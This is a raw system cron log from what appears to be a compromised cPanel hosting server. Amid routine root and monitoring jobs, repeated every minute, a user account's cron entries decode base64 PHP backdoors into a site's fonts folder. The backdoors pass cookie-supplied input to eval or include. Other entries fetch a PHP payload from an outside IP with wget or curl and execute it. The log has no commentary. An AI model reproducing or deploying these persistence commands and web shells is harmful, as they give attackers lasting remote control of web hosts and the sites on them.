Sep  7 04:58:01 ip-184-168-122-23 CROND[26824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:58:01 ip-184-168-122-23 CROND[26832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:58:01 ip-184-168-122-23 CROND[26836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:59:02 ip-184-168-122-23 CROND[22055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:59:02 ip-184-168-122-23 CROND[22053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:59:02 ip-184-168-122-23 CROND[22056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:59:02 ip-184-168-122-23 CROND[22054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:59:24 ip-184-168-122-23 crontab[27319]: (root) LIST (root)
Sep  7 04:59:24 ip-184-168-122-23 crontab[27321]: (root) LIST (root)
Sep  7 04:59:30 ip-184-168-122-23 crontab[27406]: (root) LIST (root)
Sep  7 05:00:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  7 05:00:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  7 05:00:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  7 05:00:01 ip-184-168-122-23 CROND[27627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:00:01 ip-184-168-122-23 CROND[27629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:00:01 ip-184-168-122-23 CROND[27635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:00:01 ip-184-168-122-23 CROND[27634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:00:01 ip-184-168-122-23 CROND[27631]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 05:00:01 ip-184-168-122-23 CROND[27630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:00:01 ip-184-168-122-23 CROND[27632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:00:01 ip-184-168-122-23 CROND[27633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:01:01 ip-184-168-122-23 CROND[27950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:01:01 ip-184-168-122-23 CROND[27951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:01:01 ip-184-168-122-23 CROND[27953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:01:01 ip-184-168-122-23 CROND[27955]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 05:01:01 ip-184-168-122-23 CROND[27956]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 05:01:01 ip-184-168-122-23 CROND[27954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27956]: starting 0anacron
Sep  7 05:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27970]: finished 0anacron
Sep  7 05:02:01 ip-184-168-122-23 CROND[28392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:02:01 ip-184-168-122-23 CROND[28394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:02:01 ip-184-168-122-23 CROND[28393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:02:01 ip-184-168-122-23 CROND[28396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:02:01 ip-184-168-122-23 CROND[28397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:03:01 ip-184-168-122-23 CROND[28522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:03:01 ip-184-168-122-23 CROND[28520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:03:01 ip-184-168-122-23 CROND[28521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:03:01 ip-184-168-122-23 CROND[28523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:04:01 ip-184-168-122-23 CROND[28637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:04:01 ip-184-168-122-23 CROND[28640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:04:01 ip-184-168-122-23 CROND[28639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:04:01 ip-184-168-122-23 CROND[28642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:04:01 ip-184-168-122-23 CROND[28641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:05:01 ip-184-168-122-23 CROND[28780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:05:01 ip-184-168-122-23 CROND[28781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:05:01 ip-184-168-122-23 CROND[28785]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 05:05:01 ip-184-168-122-23 CROND[28788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:05:01 ip-184-168-122-23 CROND[28787]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:05:01 ip-184-168-122-23 CROND[28784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:05:01 ip-184-168-122-23 CROND[28786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:06:01 ip-184-168-122-23 CROND[28948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:06:01 ip-184-168-122-23 CROND[28950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:06:01 ip-184-168-122-23 CROND[28949]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:06:01 ip-184-168-122-23 CROND[28951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:06:01 ip-184-168-122-23 CROND[28952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:07:01 ip-184-168-122-23 CROND[29042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:07:01 ip-184-168-122-23 CROND[29044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:07:01 ip-184-168-122-23 CROND[29046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:07:01 ip-184-168-122-23 CROND[29045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:08:01 ip-184-168-122-23 CROND[29129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:08:01 ip-184-168-122-23 CROND[29132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:08:01 ip-184-168-122-23 CROND[29133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:08:01 ip-184-168-122-23 CROND[29135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:08:01 ip-184-168-122-23 CROND[29136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:09:02 ip-184-168-122-23 CROND[29254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:09:02 ip-184-168-122-23 CROND[29253]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 05:09:02 ip-184-168-122-23 CROND[29257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:09:02 ip-184-168-122-23 CROND[29258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:09:02 ip-184-168-122-23 CROND[29259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:10:01 ip-184-168-122-23 CROND[29403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:10:02 ip-184-168-122-23 CROND[29404]: (root) CMD (/usr/lib64/sa/sa1 1 1)
